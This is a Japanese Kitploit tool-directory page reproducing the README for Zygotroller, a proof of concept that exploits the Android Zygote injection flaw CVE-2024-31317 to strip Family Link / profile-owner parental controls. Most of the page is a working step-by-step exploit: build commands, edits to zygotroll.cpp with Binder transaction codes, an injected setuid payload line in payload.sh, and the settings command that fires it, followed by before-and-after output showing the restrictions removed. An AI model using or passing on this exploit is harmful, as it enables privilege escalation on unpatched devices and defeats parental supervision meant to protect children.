Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Zygotroller — CVE-2024-31317を使用してAndroidプロファイルオーナー/ファミリーリンクを削除する | Kitploit
ツール/GitHubGitHub/rifting/zygotroller
Androidセキュリティ特権昇格脆弱性分析エクスプロイトモバイルセキュリティペイロード開発
GitHubrifting/zygotroller

Zygotroller

CVE-2024-31317を使用してAndroidプロファイルオーナー/ファミリーリンクを削除する

リポジトリを見る
411年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Zygotroller

2024年6月より前の開発者モードデバイス(Android 12+)でプロファイルオーナー/Family Linkを削除する

Zygotroller は、CVE-2024-31317 の Zygote インジェクションバグを使用して、プロファイルオーナーと関連する制限を削除できる概念実証です。 これには、開発者モードと、2024年6月より前の最新セキュリティパッチが必要です。

このリポジトリでは、Google のペアレンタルコントロールシステムである Family Link を例として示しています。

使用方法

コンパイルには、Debian 系ディストリビューションが動作する比較的新しめのデバイスが必要です。この記事を読んだ時点によっては、プリビルドが利用できる場合とできない場合があります。

残念ながら、これは Android の内部部分に依存しているため、Zygotroller をビルドするには Android ソースコード全体をクローンする必要があります。少なくとも400GBの空き容量を確保してください(実際にはそれほど使わない可能性が高いですが)。

重要(WSLを使用する場合): 大量のスワップを用意してください。そうしないと WSL がクラッシュします。私は個人的に32Gを使用しました:

root@kitploit:~
sudo fallocate -l 32G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile

次に、AOSP ソースをクローンします:

root@kitploit:~
mkdir ~/aosp
cd ~/aosp

repo init --partial-clone --no-use-superproject -b android-latest-release -u https://android.googlesource.com/platform/manifest

repo sync -c -j8 (レート制限のため、何度か試行が必要かもしれません)

source build/envsetup.sh

lunch aosp_cf_arm64_only_phone-aosp_current-eng (エミュレータでテストする場合は、arm64 を x86_64 に変更してください)

cd ~/aosp/external

git clone https://github.com/rifting/Zygotroller

cd Zygotroller

次に、スクリプト内の値を、実際のプロファイルオーナーと clearProfileOwner のオペコードに変更する必要があります。 プロファイルオーナーは、Google Play services の "supervision" パッケージか、Google Play services 自体にあります。dpm list-owners を実行してください。私の場合は次のようになりました:

root@kitploit:~
$ dpm list-owners
1 owner:
User  0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner

これにより、Zygotroller に必要な2つの情報、つまりパッケージ名(com.google.android.gms.supervision)とクラス名(com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver)が得られます。

お好みのテキストエディタで zygotroll.cpp を編集し、次の行をご自身のプロファイルオーナーコンポーネントに更新してください:

root@kitploit:~
    // Family Link profile owner
    std::string pkg = "com.google.android.gms.supervision";
    std::string cls = "com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver";

次に、DPM の clearProfileOwner 関数のオペコードを見つける必要があります。私の場合は "91" でしたが、これは実行している Android のバージョン/種類によって異なります。clearProfileOwner のオペコードを取得するために、私は android-svc を次のコマンドで使用しました:

android-svc convert 'android.app.admin.IDevicePolicyManager.clearProfileOwner("dummy")'

出力に表示される番号が clearProfileOwner のオペコードです。もう一度お好みのテキストエディタで zygotroll.cpp を開き、ここの番号を実際のオペコードに編集してください:

root@kitploit:~
    // Transaction code 91 was ClearProfileOwner for my device
    dpm->transact(91, data, &reply);

setUserRestriction についても同じことを行ってください:

root@kitploit:~
// Transaction code 132 was setUserRestriction for my device
dpm->transact(132, data2, &reply2);

次に、zygotroller をコンパイルします:

mm

初期ビルドには非常に長い時間がかかる場合がありますが、その後のビルドはほとんどの最新マシンでは1分未満です。

バイナリは ~/aosp/out/target/product/vsoc_x86_64_only/system/bin/zygotroller にあります。

次に、このバイナリを「共有ライブラリ」として含むアプリを作成する必要があります。これは実際には Zygotroller 実行ファイルそのものですが、SELinux が実行を許可するようにします。 そのために、私の "CopyNativeLib" リポジトリを使用できます:

git clone https://github.com/rifting/CopyNativeLib.git

次に、Zygotroller バイナリを libzygotroller.so にリネームし、app/src/main/jniLibs/arm64-v8a に置きます(おそらくお使いのスマートフォンのアーキテクチャになると思います)。Android Studio で APK をビルドし、adb install でデバイスにインストールします。

私の場合、Family Link のプロファイルオーナーはユーザーID 10090(別名 u0_a90)でした。 dumpsys package com.google.android.gms.supervision | grep userId= を実行してください。

次に、payload.sh の次の行を見てください:

inject='\n--setuid=10090...

ここでの UID を 10090 から、dumpsys コマンドで取得したあなたの UID に変更してください。同じ ID の場合はそのままにしてください。

その行をもう少し進むと、次のように表示されます:

...echo zYg0te $(LD_LIBRARY_PATH=[path to your native lib] [path to your native lib])...

(3つのドットは省略を示しています)

これらを、デバイスにインストールしたばかりのネイティブライブラリへのパスに置き換える必要があります。pm path com.rifting.copynativelib を実行してください。 ファイルへのパスは、コマンドの出力として表示される APK の親ディレクトリ + lib/arm64-v8a/libzygotroller.so になります。LD_LIBRARY_PATH にはライブラリのディレクトリを指定し、その後にライブラリへの実際のパスを続けます。 したがって、その行は最終的に次のようになります:

...echo zYg0te $(LD_LIBRARY_PATH=/data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/ /data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/libreal.so)...

もうすぐです!このファイルを /data/local/tmp にプッシュしてください。

adb push payload.sh /data/local/tmp

パーミッションを設定します:

chmod +x /data/local/tmp/payload.sh

そして最後に、その出力を hidden_api_blacklist_exemptions に送ります!

settings put global hidden_api_blacklist_exemptions "$(sh ./payload.sh)"

ここで、ブートループを避けるためにこれを "0" に設定します :) settings put global hidden_api_blacklist_exemptions 0

Family Link のプロファイルオーナーと、関連するすべての制限が削除されているはずです。 設定からアカウントを管理し、デバイスから監督付きアカウントを削除してください。おめでとうございます!

変更前:

root@kitploit:~
$ dpm list-owners
1 owner:
User  0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner
root@kitploit:~
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions>
    <restrictions_user user_id="0">
      <restrictions no_factory_reset="true" no_config_location="true" no_add_clone_profile="true" no_safe_boot="true" no_config_credentials="true" no_config_date_time="true" />
    </restrictions_user>
  </device_policy_local_restrictions>
...

変更後:

root@kitploit:~
$ dpm list-owners
no owners
emu64xa:/ $
root@kitploit:~
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions />
...

謝辞

BinderDemo を提供してくれた gburca

この CVE に関する LLeaves の素晴らしいブログ

ツールをダウンロード